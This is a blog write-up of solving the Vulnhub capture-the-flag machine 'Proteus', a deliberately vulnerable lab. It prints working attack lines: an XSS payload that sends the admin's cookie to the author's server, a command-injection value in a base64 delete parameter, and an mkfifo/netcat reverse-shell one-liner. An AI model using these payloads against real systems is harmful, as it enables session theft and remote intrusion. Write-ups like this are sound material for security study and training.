Saturday, 1 July 2017

Proteus Pwn4g3

Hi Everyone,

Over this blogpost, I shall write about how I cracked a recently hosted challenge on vulnhub named "Proteus".

Looking at the machine description over Vulnhub:

The machine simulates an environment where you can upload executable files and performs malware analysis over it.

I download the OVA and setup my kali and vulnerable machine on the same network.

First and foremost, network discovery:

So the IP I shall be targeting is

I ran nmap and two services stand out:
1. ssh ==> port 22
2. http ==> port 80

I tried checking over ssh but it seems only key based login is allowed.

I shifted my focus over to port:80

Immediately striking are two things:

1. File upload feature
2. Login functionality

It seemed that the file upload is based on mime type and only executable file or sharedlib types are supported for uploads.

First I tried uploading a normal file and as an output we get binary analysis of the file.
Checking the output I see that all the ascii strings inside the binary file are rendered as is on the webpage.

This could be the first foothold. Probably html special characters are not escaped!

I immediately inject the following code into a binary file:

echo "<b>I am here</b>" >> bFile

bFIle is the binary/executable file

and dang! we have html rendered on page :D

So now we have a clear case of XSS so my next thought was if there is XSS, could there be another client visiting the page other than myself!

I uploaded another file and this time with an iframe injection such that I points to my evil server:

echo "<iframe src='http://myIP'></iframe>" >> binaryFile

And I upload this binaryFile.

On my local machine I keep monitoring my apache access logs and dang! second foothold!

I clearly see PhantomJS web automation trying to access my apache server from Proteus machine.

Now connecting the dots, I see myself logged as anonymous user and if there is another person visiting the webiste locally on the Proteus machine, could it be the site administrator??

Time for cookie stealing again thanks to XSS!!

I inject the following payload to the binary file:

echo "<script>document.write('<img src=\"http://myIP?c=' + document.cookie + '\" />')</script>" >> binaryFile

And I wait quitely over my evil server (evil Laugh hehehe)

And voila! cookie stolen!

I fire my burp, intercept the login request and swap the cookie value and dang!
Logged in as "malwareadm"

Okay so till now its some good progress and I am pretty satisfied but whats next??

The only additional functionality I notice is that this account has the ability to delete uploaded samples.

I run dirbuster/gobuster with the admin cookie included but no more pages, no more functionality apart from this!

This was where I hit wall and couldn't think further.

The only thing that stood out was the deletion function.

I noticed that while deleting a file, the URL was as: http://proteusIP/delete/<base64-value>

This base64 encoded value when decoded gave a timestamp sort of number with a "." character at the end.

e.g. : "54752987376." (excluding quotes)

Here I spent ages what to do next!

[Screenshot of the filenames which are stored in Proteus as samples]

Finally by a hint from my friend, I was pointed to a direction to fuzz the base64 decoded value so I started putting random stuff but got 404's instead.

Next I tried keeping a valid base64 encoded value but appending some characters and finally encoding it with linux command

"" --> dint work!!

"134253687542id" --> dint damn work!!

"45324599572.;id" --> dang!! This worked.

(note that all the numeric values shown above pertain to valid file names, nonexistent file names wont work!)

I got id = 33 (www-data) user and this is where command injection lies!!

I wasted no time by appending the netcat reverse shell but damn! that didnt work as the proteus netcat does not have "-e" option so what to do!

I appended the following to the file name I wanted to delete:

"246526752853.;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f"

The above value was base64 encoded and the request looked like below:


On the other hand, my netcat listener was fired up and dang!
Shell is OBTAINED :D

Next step: Privilege Escalation

So, now we have an interactive shell and enumerating the user I see folder malwareadm in /home directory.

Under this folder is the js file which is automating the page visiting activity of malwareadm.
Reading this file we can see the URL encoded password of malwareadm

I try loggin in as malwareadm and am successful!

Checking permission of malwareadm it seems it is a part of adm so just doing a sudo -i made me a root user!!


The flag is under the /root folder and is a png file:

The privilege escalation was kinda anti-climatic. I was anticipating more of a challenge there.

My thoughts:

I clearly had lost directing once I logged in as malwareadm and even though the delete functionality stood out, I couldn't just think what to do next of it.

The machine provided a good level of challenge to me and I was quite thrilled and satisfied as I completed this challenge.

Thanks ivanvza for creating this vulnerable machine and thanks to vulnhub for hosting it.